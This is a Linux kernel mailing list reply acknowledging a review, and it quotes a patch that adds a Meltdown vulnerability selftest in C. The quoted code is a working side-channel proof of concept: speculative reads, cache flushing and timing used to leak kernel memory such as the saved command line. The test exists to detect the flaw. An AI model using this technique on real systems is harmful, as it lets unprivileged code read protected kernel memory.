Re: [PATCH] selftest/x86/meltdown: Add a selftest for meltdown
From: Lu, Aaron
Date: Thu Jan 19 2023 - 23:41:12 EST
On Thu, 2023-01-19 at 19:15 +0200, Pavel Boldin wrote:
> > Signed-off-by: Aaron Lu <aaron.lu@xxxxxxxxx>
> Reviewed-by: Pavel Boldin <boldin.pavel@xxxxxxxxx>
Thanks!
>
> --
> Sincerely,
> Pavel Boldin
>
> P.S. Sorry for lagging, electricity & free time are hard to find
> these days.
Never mind, appreciate your time to review this patch.
Best Regards,
Aaron
>
> > diff --git a/tools/testing/selftests/x86/Makefile
> > b/tools/testing/selftests/x86/Makefile
> > index 0388c4d60af0..36f99c360a56 100644
> > --- a/tools/testing/selftests/x86/Makefile
> > +++ b/tools/testing/selftests/x86/Makefile
> > @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh
> > "$(CC)" trivial_program.c -no-pie)
> > TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs
> > syscall_nt test_mremap_vdso \
> > check_initial_reg_state sigreturn iopl
> > ioperm \
> > test_vsyscall mov_ss_trap \
> > - syscall_arg_fault fsgsbase_restore
> > sigaltstack
> > + syscall_arg_fault fsgsbase_restore
> > sigaltstack meltdown
> > TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso
> > unwind_vdso \
> > test_FCMOV test_FCOMI test_FISTTP \
> > vdso_restorer
> > diff --git a/tools/testing/selftests/x86/meltdown.c
> > b/tools/testing/selftests/x86/meltdown.c
> > new file mode 100644
> > index 000000000000..fcb211dc9038
> > --- /dev/null
> > +++ b/tools/testing/selftests/x86/meltdown.c
> > @@ -0,0 +1,529 @@
> > +// SPDX-License-Identifier: GPL-2.0-or-later
> > +/*
> > + * Copyright (c) 2018 Pavel Boldin <pboldin@xxxxxxxxxxxxxx>
> > + *
> > https://github.com/linux-test-project/ltp/blob/master/testcases/cve/meltdown.c
> > + */
> > +
> > +#define _GNU_SOURCE
> > +#include <stdio.h>
> > +#include <stdlib.h>
> > +#include <stdint.h>
> > +#include <stdarg.h>
> > +#include <string.h>
> > +#include <signal.h>
> > +#include <ucontext.h>
> > +#include <unistd.h>
> > +#include <fcntl.h>
> > +#include <ctype.h>
> > +#include <sys/utsname.h>
> > +#include <sys/mman.h>
> > +
> > +#define PAGE_SHIFT 12
> > +#define PAGE_SIZE 0x1000
> > +#define PUD_SHIFT 30
> > +#define PUD_SIZE (1UL << PUD_SHIFT)
> > +#define PUD_MASK (~(PUD_SIZE - 1))
> > +
> > +size_t cache_miss_threshold;
> > +unsigned long directmap_base;
> > +
> > +#define TARGET_OFFSET 9
> > +#define TARGET_SIZE (1 << TARGET_OFFSET)
> > +#define BITS_BY_READ 2
> > +
> > +static inline uint64_t rdtsc(void)
> > +{
> > + uint32_t eax, edx;
> > + uint64_t tsc_val;
> > + /*
> > + * The lfence is to wait (on Intel CPUs) until all previous
> > + * instructions have been executed. If software requires
> > RDTSC to be
> > + * executed prior to execution of any subsequent
> > instruction, it can
> > + * execute LFENCE immediately after RDTSC
> > + * */
> > + __asm__ __volatile__("lfence; rdtsc; lfence" : "=a"(eax),
> > "=d"(edx));
> > + tsc_val = ((uint64_t)edx) << 32 | eax;
> > + return tsc_val;
> > +}
> > +
> > +static inline void clflush(volatile void *__p)
> > +{
> > + asm volatile("clflush %0" : "+m" (*(volatile char *)__p));
> > +}
> > +
> > +static char target_array[BITS_BY_READ * TARGET_SIZE];
> > +
> > +static void clflush_target(void)
> > +{
> > + int i;
> > +
> > + for (i = 0; i < BITS_BY_READ; i++)
> > + clflush(&target_array[i * TARGET_SIZE]);
> > +}
> > +
> > +extern char failshere[];
> > +extern char stopspeculate[];
> > +
> > +static void __attribute__((noinline)) speculate(unsigned long
> > addr, char bit)
> > +{
> > + register char mybit asm ("cl") = bit;
> > +#ifdef __x86_64__
> > + asm volatile (
> > + "1:\n\t"
> > +
> > + ".rept 300\n\t"
> > + "add $0x141, %%rax\n\t"
> > + ".endr\n"
> > +
> > + "failshere:\n\t"
> > + "movb (%[addr]), %%al\n\t"
> > + "ror %[bit], %%rax\n\t"
> > + "and $1, %%rax\n\t"
> > + "shl $9, %%rax\n\t"
> > + "jz 1b\n\t"
> > +
> > + "movq (%[target], %%rax, 1), %%rbx\n"
> > +
> > + "stopspeculate: \n\t"
> > + "nop\n\t"
> > + :
> > + : [target] "r" (target_array),
> > + [addr] "r" (addr),
> > + [bit] "r" (mybit)
> > + : "rax", "rbx"
> > + );
> > +#else /* defined(__x86_64__) */
> > + asm volatile (
> > + "1:\n\t"
> > +
> > + ".rept 300\n\t"
> > + "add $0x141, %%eax\n\t"
> > + ".endr\n"
> > +
> > + "failshere:\n\t"
> > + "movb (%[addr]), %%al\n\t"
> > + "ror %[bit], %%eax\n\t"
> > + "and $1, %%eax\n\t"
> > + "shl $9, %%eax\n\t"
> > + "jz 1b\n\t"
> > +
> > + "movl (%[target], %%eax, 1), %%ebx\n"
> > +
> > + "stopspeculate: \n\t"
> > + "nop\n\t"
> > + :
> > + : [target] "r" (target_array),
> > + [addr] "r" (addr),
> > + [bit] "r" (mybit)
> > + : "rax", "ebx"
> > + );
> > +#endif
> > +}
> > +
> > +#ifdef __i386__
> > +# define REG_RIP REG_EIP
> > +#endif
> > +
> > +static void sigsegv(int sig, siginfo_t *siginfo, void *context)
> > +{
> > + ucontext_t *ucontext = context;
> > + unsigned long *prip = (unsigned long *)&ucontext-
> > >uc_mcontext.gregs[REG_RIP];
> > + if (*prip != (unsigned long)failshere) {
> > + printf("Segmentation fault at unexpected location
> > %lx\n", *prip);
> > + abort();
> > + }
> > + *prip = (unsigned long)stopspeculate;
> > + return;
> > +}
> > +
> > +static int set_signal(void)
> > +{
> > + struct sigaction act = {
> > + .sa_sigaction = sigsegv,
> > + .sa_flags = SA_SIGINFO,
> > + };
> > +
> > + return sigaction(SIGSEGV, &act, NULL);
> > +}
> > +
> > +static inline int get_access_time(volatile char *addr)
> > +{
> > + unsigned long long time1, time2;
> > + volatile int j __attribute__((__unused__));
> > +
> > + time1 = rdtsc();
> > + j = *addr;
> > + time2 = rdtsc();
> > +
> > + return time2 - time1;
> > +}
> > +
> > +static int cache_hit_threshold;
> > +static int hist[BITS_BY_READ];
> > +
> > +static void check(void)
> > +{
> > + int i, time;
> > + volatile char *addr;
> > +
> > + for (i = 0; i < BITS_BY_READ; i++) {
> > + addr = &target_array[i * TARGET_SIZE];
> > +
> > + time = get_access_time(addr);
> > +
> > + if (time <= cache_hit_threshold)
> > + hist[i]++;
> > + }
> > +}
> > +
> > +#define CYCLES 10000
> > +static int readbit(int fd, unsigned long addr, char bit)
> > +{
> > + int i, ret;
> > + static char buf[256];
> > +
> > + memset(hist, 0, sizeof(hist));
> > +
> > + for (i = 0; i < CYCLES; i++) {
> > + /*
> > + * Make the to-be-stolen data cache and tlb hot
> > + * to increase success rate.
> > + */
> > + ret = pread(fd, buf, sizeof(buf), 0);
> > + if (ret < 0)
> > + printf("[INFO]\tCan't read fd");
> > +
> > + clflush_target();
> > +
> > + speculate(addr, bit);
> > + check();
> > + }
> > +
> > + if (hist[1] > CYCLES / 10)
> > + return 1;
> > + return 0;
> > +}
> > +
> > +static int readbyte(int fd, unsigned long addr)
> > +{
> > + int bit, res = 0;
> > +
> > + for (bit = 0; bit < 8; bit ++ )
> > + res |= (readbit(fd, addr, bit) << bit);
> > +
> > + return res;
> > +}
> > +
> > +static int mysqrt(long val)
> > +{
> > + int root = val / 2, prevroot = 0, i = 0;
> > +
> > + while (prevroot != root && i++ < 100) {
> > + prevroot = root;
> > + root = (val / root + root) / 2;
> > + }
> > +
> > + return root;
> > +}
> > +
> > +#define ESTIMATE_CYCLES 1000000
> > +static void set_cache_hit_threshold(void)
> > +{
> > + long cached, uncached, i;
> > +
> > + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
> > + cached += get_access_time(target_array);
> > +
> > + for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
> > + cached += get_access_time(target_array);
> > +
> > + for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
> > + clflush(target_array);
> > + uncached += get_access_time(target_array);
> > + }
> > +
> > + cached /= ESTIMATE_CYCLES;
> > + uncached /= ESTIMATE_CYCLES;
> > +
> > + cache_hit_threshold = mysqrt(cached * uncached);
> > +
> > + printf("[INFO]\taccess time: cached = %ld, uncached = %ld,
> > threshold = %d\n",
> > + cached, uncached, cache_hit_threshold);
> > +}
> > +
> > +static unsigned long find_symbol_in_file(const char *filename,
> > const char *symname)
> > +{
> > + unsigned long addr;
> > + char type, *buf;
> > + int found;
> > + FILE *fp;
> > +
> > + fp = fopen(filename, "r");
> > + if (!fp) {
> > + printf("[INFO]\tFailed to open %s\n", filename);
> > + return 0;
> > + }
> > +
> > + buf = malloc(4096);
> > + if (!buf)
> > + return 0;
> > +
> > + found = 0;
> > + while (fscanf(fp, "%lx %c %s\n", &addr, &type, buf)) {
> > + if (!strcmp(buf, symname)) {
> > + found = 1;
> > + break;
> > + }
> > + }
> > +
> > + free(buf);
> > + fclose(fp);
> > +
> > + return found ? addr : 0;
> > +}
> > +
> > +static unsigned long find_kernel_symbol(const char *name)
> > +{
> > + char systemmap[256];
> > + struct utsname utsname;
> > + unsigned long addr;
> > +
> > + addr = find_symbol_in_file("/proc/kallsyms", name);
> > + if (addr)
> > + return addr;
> > +
> > + if (uname(&utsname) < 0)
> > + return 0;
> > + sprintf(systemmap, "/boot/System.map-%s", utsname.release);
> > + addr = find_symbol_in_file(systemmap, name);
> > + return addr;
> > +}
> > +
> > +static unsigned long saved_cmdline_addr;
> > +static int spec_fd;
> > +
> > +#define READ_SIZE 32
> > +
> > +static int test_read_saved_command_line(void)
> > +{
> > + unsigned int i, score = 0, ret;
> > + unsigned long addr;
> > + unsigned long size;
> > + char read[READ_SIZE] = { 0 };
> > + char expected[READ_SIZE] = { 0 };
> > + int expected_len;
> > +
> > + saved_cmdline_addr =
> > find_kernel_symbol("saved_command_line");
> > + if (!saved_cmdline_addr) {
> > + printf("[SKIP]\tCan not find symbol
> > saved_command_line\n");
> > + return 0;
> > + }
> > + printf("[INFO]\tsaved_cmdline_addr: 0x%lx\n",
> > saved_cmdline_addr);
> > +
> > + spec_fd = open("/proc/cmdline", O_RDONLY);
> > + if (spec_fd == -1) {
> > + printf("[SKIP]\tCan not open /proc/cmdline\n");
> > + return 0;
> > + }
> > +
> > + expected_len = pread(spec_fd, expected, sizeof(expected),
> > 0);
> > + if (expected_len < 0) {
> > + printf("[SKIP]\tCan't read /proc/cmdline\n");
> > + return 0;
> > + }
> > +
> > + /* read address of saved_cmdline_addr */
> > + addr = saved_cmdline_addr;
> > + size = sizeof(addr);
> > + for (i = 0; i < size; i++) {
> > + ret = readbyte(spec_fd, addr);
> > + read[i] = ret;
> > + addr++;
> > + }
> > +
> > + /* read value pointed to by saved_cmdline_addr */
> > + memcpy(&addr, read, sizeof(addr));
> > + memset(read, 0, sizeof(read));
> > + printf("[INFO]\tsaved_command_line: 0x%lx\n", addr);
> > + size = expected_len;
> > +
> > + if (!addr)
> > + goto done;
> > +
> > + for (i = 0; i < size; i++) {
> > + ret = readbyte(spec_fd, addr);
> > + read[i] = ret;
> > + addr++;
> > + }
> > +
> > + for (i = 0; i < size; i++)
> > + if (expected[i] == read[i])
> > + score++;
> > +
> > +done:
> > + if (score > size / 2) {
> > + printf("[FAIL]\ttest_read_saved_command_line: both
> > high and low kernel mapping leak found.\n");
> > + ret = -1;
> > + } else {
> > + printf("[OK]\ttest_read_saved_command_line: no leak
> > found.\n");
> > + ret = 0;
> > + }
> > +
> > + close(spec_fd);
> > +
> > + return ret;
> > +}
> > +
> > +static int get_directmap_base(void)
> > +{
> > + char *buf;
> > + FILE *fp;
> > + size_t n;
> > + int ret;
> > +
> > + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r");
> > + if (!fp)
> > + return -1;
> > +
> > + buf = NULL;
> > + ret = -1;
> > + while (getline(&buf, &n, fp) != -1) {
> > + if (!strstr(buf, "Kernel Mapping"))
> > + continue;
> > +
> > + if (getline(&buf, &n, fp) != -1 &&
> > + sscanf(buf, "0x%lx", &directmap_base) == 1) {
> > +
> > printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base,
> > directmap_base & PUD_MASK);
> > + directmap_base &= PUD_MASK;
> > + ret = 0;
> > + break;
> > + }
> > + }
> > +
> > + fclose(fp);
> > + free(buf);
> > + return ret;
> > +}
> > +
> > +static int virt_to_phys(unsigned long virt, unsigned long *phys)
> > +{
> > + unsigned long pfn;
> > + uint64_t val;
> > + int fd, ret;
> > +
> > + fd = open("/proc/self/pagemap", O_RDONLY);
> > + if (fd == -1) {
> > + printf("[INFO]\tFailed to open pagemap\n");
> > + return -1;
> > + }
> > +
> > + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) *
> > sizeof(uint64_t));
> > + if (ret == -1) {
> > + printf("[INFO]\tFailed to read pagemap\n");
> > + goto out;
> > + }
> > +
> > + if (!(val & (1ULL << 63))) {
> > + printf("[INFO]\tPage not present according to
> > pagemap\n");
> > + ret = -1;
> > + goto out;
> > + }
> > +
> > + pfn = val & ((1ULL << 55) - 1);
> > + if (pfn == 0) {
> > + printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n");
> > + ret = -1;
> > + goto out;
> > + }
> > +
> > + ret = 0;
> > + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1));
> > +
> > +out:
> > + close(fd);
> > + return ret;
> > +}
> > +
> > +static int test_read_local_var(void)
> > +{
> > + char path[] = "/tmp/meltdown.XXXXXX";
> > + char string[] = "test string";
> > + unsigned long phys;
> > + int i, len, ret;
> > + char *result;
> > + void *p;
> > +
> > + if (get_directmap_base() == -1) {
> > + printf("[SKIP]\tFailed to get directmap base. Need
> > root and CONFIG_PTDUMP_DEBUGFS\n");
> > + return 0;
> > + }
> > +
> > + spec_fd = mkstemp(path);
> > + if (spec_fd == -1) {
> > + printf("[SKIP]\tCan not open %s\n", path);
> > + return 0;
> > + }
> > + ftruncate(spec_fd, 0x1000);
> > +
> > + p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
> > spec_fd, 0);
> > + if (p == MAP_FAILED) {
> > + printf("[SKIP]\tmmap spec_fd failed\n");
> > + return 0;
> > + }
> > + memcpy(p, string, sizeof(string));
> > +
> > + if (virt_to_phys((unsigned long)p, &phys) == -1) {
> > + printf("[SKIP]\tCan not convert virtual address to
> > physical address\n");
> > + return 0;
> > + }
> > +
> > + len = strlen(string);
> > + result = malloc(len + 1);
> > + if (!result) {
> > + printf("[SKIP]\tNot enough memory for malloc\n");
> > + return 0;
> > + }
> > + memset(result, 0, len + 1);
> > +
> > + for (i = 0; i < len; i++, phys++) {
> > + result[i] = readbyte(spec_fd, directmap_base +
> > phys);
> > + if (result[i] == 0)
> > + break;
> > + }
> > +
> > + ret = !strncmp(string, result, len);
> > + if (ret)
> > + printf("[FAIL]\ttest_read_local_var: low kernel
> > mapping leak found.\n");
> > + else
> > + printf("[OK]\ttest_read_local_var: no leak
> > found.\n");
> > +
> > + free(result);
> > + munmap(p, 0x1000);
> > + close(spec_fd);
> > +
> > + return ret;
> > +}
> > +
> > +int main(void)
> > +{
> > + int ret1, ret2;
> > +
> > + printf("[RUN]\tTest if system is vulnerable to
> > meltdown\n");
> > +
> > + set_cache_hit_threshold();
> > +
> > + memset(target_array, 1, sizeof(target_array));
> > +
> > + if (set_signal() < 0) {
> > + printf("[SKIP]\tCan not set handler for
> > segfault\n");
> > + return 0;
> > + }
> > +
> > + ret1 = test_read_local_var();
> > + ret2 = test_read_saved_command_line();
> > +
> > + if (ret1 || ret2)
> > + return -1;
> > +
> > + return 0;
> > +}
> > --
> > 2.39.0
> >